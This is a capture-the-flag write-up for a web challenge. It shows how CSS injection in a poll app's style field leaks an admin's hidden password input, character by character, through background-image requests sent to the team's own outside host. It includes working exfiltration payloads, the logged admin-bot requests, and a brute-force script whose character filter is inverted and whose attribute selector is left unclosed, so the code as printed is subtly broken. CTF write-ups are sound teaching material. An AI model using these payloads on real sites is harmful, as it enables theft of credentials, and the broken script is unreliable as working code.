

APOLLO - WEB 400

"The crew uses polls for democratic decision-making. A hot issue is the weekly menu, which all crew members vote on. But after a week of broccoli for breakfast, lunch and dinner, R-Boy suspects there's something wrong (either with the polling system or his fellow crew members). Help R-Boy to take over the polling app's admin account and put an end to this broccoli nightmare!"


After creating a poll, it's possible to ask an administrator for help, for that reason we thought that we had to get some data from the admin browser with an XSS Injection.

We started trying to exploit the available fields in the poll creation, all the input appeared properly sanitized, except the personal CSS style where we could write anything except angle brackets.

We tried to make a request from the admin browser changing the background image:

```
css_payload = 'body { background:url("http://bucket.giotino.com:8123/b/TCBKP?sentinella"); }\n'
```

And it worked! Here is the request on our telegram bot:



Giotino (BOT)
Bucket: TCBKP
15:32 12/10/2019
HTTP GET /?sentinella
=== HEADERS ===
host => bucket.giotino.com:8123
connection => keep-alive
user-agent => Mozilla/5.0 (X11; Linux i686 (x86_64))
AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu
Chromium/76.0.3809.100 HeadlessChrome/76.0.3809.100
Safari/537.36
accept => image/webp,image/apng,image/*,*/*;q=0.8
referer => http://localhost/044ead75-5e34-48a7-9462-03bdb2d6781e/protected/
accept-encoding => gzip, deflate

So we injected this payload, to check if the flag could be in the admin **testPassword2** input:

```
css_payload = '''#testPassword2[value^="{"] {  
    background:url("http://bucket.giotino.com:8123/b/TCBKP?flag={");  
}'''
```

And we got our answer:

```
HTTP GET /?flag={
=== HEADERS ===
host => bucket.giotino.com:8123
connection => keep-alive
user-agent => Mozilla/5.0 (X11; Linux i686 (x86_64))
AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu
Chromium/76.0.3809.100 HeadlessChrome/76.0.3809.100
Safari/537.36
accept => image/webp,image/apng,image/*,*/*;q=0.8
referer => http://localhost/b7c3e4ff-b1b0-4960-9f5a-
898fc3404792/protected/
accept-encoding => gzip, deflate
```

We wrote a script to inject the CSS payload to find the next character of the **testPassword2** input, starting from a set of already known characters and then all the printable characters:

```
start = '{SYT:'
css_payload = 'body { background:url("http://bucket.giotino.com:8123/b/TCBKP?sentinella"); } \n'

keys = string.printable[:-6]
for k in keys:
    if k not in ['"', '\\', '"', '<', '>']:
        continue

    css_payload += '#testPassword2[value^="' + start + k + '" { ' + \
        'background:url("http://bucket.giotino.com:8123/b/TCBKP?flag=' + k + '" ); } \n'
```

We repeated the process adding the new character to the **start** variable until we got the full flag (with rot applied) and after we decoded it we got the flag:

{FLG:cReEpyCSs!}